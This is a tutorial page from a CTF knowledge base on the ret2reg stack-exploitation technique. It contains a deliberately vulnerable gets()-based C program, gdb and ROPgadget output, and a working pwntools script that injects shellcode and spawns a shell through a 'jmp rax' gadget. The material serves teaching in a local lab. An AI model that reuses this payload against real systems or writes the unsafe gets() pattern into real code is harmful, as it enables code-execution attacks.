🏳️
The CTF Recipes
  • Introduction
  • Cryptography
    • Introduction
    • General knowledge
      • Encoding
        • Character encoding
          • ASCII
          • Unicode
          • UTF-8
        • Data encoding
          • Base16
          • Base32
          • Base64
      • Maths
        • Modular arithmetic
          • Greatest Common Divisor
          • Fermat's little theorem
          • Quadratic residues
          • Tonelli-Shanks
          • Chinese Remainder Theorem
          • Modular binomial
      • Padding
        • PKCS#7
    • Misc
      • XOR
    • Mono-alphabetic substitution
      • Index of coincidence
      • frequency analysis
      • Well known algorithms
        • 🔴Scytale
        • 🔴ROT
        • 🔴Polybe
        • 🔴Vigenere
        • 🔴Pigpen cipher
        • 🔴Affine cipher
    • Symmetric Cryptography
      • AES
        • Block Encryption procedure
          • Byte Substitution
          • Shift Row
          • Mix Column
          • Add Key
          • Key Expansion / Key Schedule
        • Mode of Operation
          • ECB
            • Block shuffling
              • Challenge example
            • ECB Oracle
              • Challenge example
          • CBC
            • Bit flipping
              • Challenge example
            • Padding oracle
              • Challenge example
          • OFB
            • Key stream reconstruction
            • Encrypt to Uncrypt
  • 🛠️Pwn
    • General knowledge
      • STACK
        • Variables storage
        • Stack frame
      • PLT and GOT
      • HEAP
        • HEAP operations
        • Chunk
        • Bins
        • Chunk allocation and reallocation
      • Syscall
    • Architectures
      • aarch32
        • Registers
        • Instruction set
        • Calling convention
      • aarch64
        • Registers
        • Instruction set
        • Calling convention
      • mips32
        • Registers
        • Instruction set
        • Calling convention
      • mips64
        • Registers
        • Instruction set
        • Calling convention
      • x86 / x64
        • Registers
        • Instruction set
        • Calling convention
    • Stack exploitation
      • Stack Buffer Overflow
        • Dangerous functions
          • gets
          • memcpy
          • sprintf
          • strcat
          • strcpy
        • Basics
          • Challenge example
        • Instruction pointer Overwrite
          • Challenge example
        • De Bruijn Sequences
        • Stack reading
          • Challenge example
      • Format string
        • Dangerous functions
          • printf
          • fprintf
        • Placeholder
        • Data Leak
          • Challenge example
        • Data modification
          • Challenge example
      • Arbitrary code execution
        • Shellcode
        • ret2reg
        • Code reuse attack
          • Ret2plt
          • Ret2dlresolve
          • GOT Overwrite
          • Ret2LibC
          • Leaking LibC
          • Ret2csu
          • Return Oriented Programming - ROP
          • Sigreturn Oriented Programming - SROP
          • Blind Return Oriented Programming - BROP
            • Challenge example
          • 🔴Call Oriented Programming - COP
          • 🔴Jump Oriented Programming - JOP
          • One gadget
        • Stack pivoting
    • 🛠️Heap exploitation
      • Heap overflow
        • Challenge example
      • Use after free
        • Challenge example
      • 🛠️Double free
      • 🔴Unlink exploit
    • Protections
      • Stack Canaries
      • No eXecute
      • PIE
      • ASLR
      • RELRO
    • Integer overflow
Powered by GitBook
On this page
  • Code example
  • Exploitation
  • Resources
  1. Pwn
  2. Stack exploitation
  3. Arbitrary code execution

ret2reg

Using register

PreviousShellcodeNextCode reuse attack

Last updated 2 years ago

ret2reg involves jumping to register addresses rather than hardcoded addresses. As an example, you may find that the RAX register always points to your buffer when the ret instruction is executed. This can be exploited by using a call rax or jmp rax to continue execution from that point. The reason RAX is often used for this technique is that, according to convention, the return value of a function is typically stored in RAX.

Any function that returns a pointer to the provided string is a prime target. There are many that do this, including :

  • gets()

  • strcpy()

  • fgets()

  • ...

Code example

#include <stdio.h>

void vuln() {
    char buffer[100];
    gets(buffer);
}

int main() {
    vuln();
    return 0;
}

In this example, when the vuln() function will return, the RAX register will point to the user input stored into buffer :

# Disassemble the vuln function
gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x0000000000401122 <+0>:	push   rbp
   0x0000000000401123 <+1>:	mov    rbp,rsp
   0x0000000000401126 <+4>:	sub    rsp,0x70
   0x000000000040112a <+8>:	lea    rax,[rbp-0x70]
   0x000000000040112e <+12>:	mov    rdi,rax
   0x0000000000401131 <+15>:	mov    eax,0x0
   0x0000000000401136 <+20>:	call   0x401030 <gets@plt>
   0x000000000040113b <+25>:	nop
   0x000000000040113c <+26>:	leave  
   0x000000000040113d <+27>:	ret
End of assembler dump.

# Set a breakpoint at the end of the vuln function (address 0x1150)
gdb-peda$ break *vuln+27
Breakpoint 1 at 0x40113d

# Run the program
gdb-peda$ r
Starting program: ./chall 

# Input some data (in this case, "AAAAAAAA")
AAAAAAAA

# The program hits the breakpoint at the end of the vuln function
Breakpoint 1, 0x000000000040113d in vuln ()

# Print the value of the RAX register
gdb-peda$ i r $rax
rax            0x7fffffffdfc0      0x7fffffffdfc0

# Print the string stored at the address contained in RAX
gdb-peda$ x/s 0x7fffffffdfc0
0x7fffffffdfc0:	"AAAAAAAA" 

Exploitation

$ ROPgadget --binary chall | grep "jmp rax"
0x0000000000401095 : je 0x4010a0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010d7 : je 0x4010e0 ; mov edi, 0x404030 ; jmp rax
0x000000000040109c : jmp rax # <-- needed gadget
0x0000000000401097 : mov edi, 0x404030 ; jmp rax
0x0000000000401096 : or dword ptr [rdi + 0x404030], edi ; jmp rax
0x0000000000401093 : test eax, eax ; je 0x4010a0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010d5 : test eax, eax ; je 0x4010e0 ; mov edi, 0x404030 ; jmp rax
from pwn import *

# Load the ELF file and start a new process
elf = context.binary = ELF('./chall')
p = process()

# Address of the JMP RAX gadget
JMP_RAX = 0x40109c

# Assemble the payload
payload = asm(shellcraft.sh())        # front of buffer <- RAX points here

# Pad the payload until the RIP
payload = payload.ljust(120, b'A')    

# Append the JMP RAX gadget to the payload
payload += p64(JMP_RAX)               

# Send the payload to the program
p.sendline(payload)

# Start an interactive session
p.interactive()

Note that this technique could work using another register than rax . For example using rsp could work as well but the chance of jmp esp gadgets existing in the binary are incredible low.

Resources

Using a jmp rax it's possible to jump directly into the user input without knowing the address of it :

Using Buffer Overflow to set the gadget as return and jump into :

🛠️
gadget
gadget
shellcode
ret2regBinary Exploitation
Logo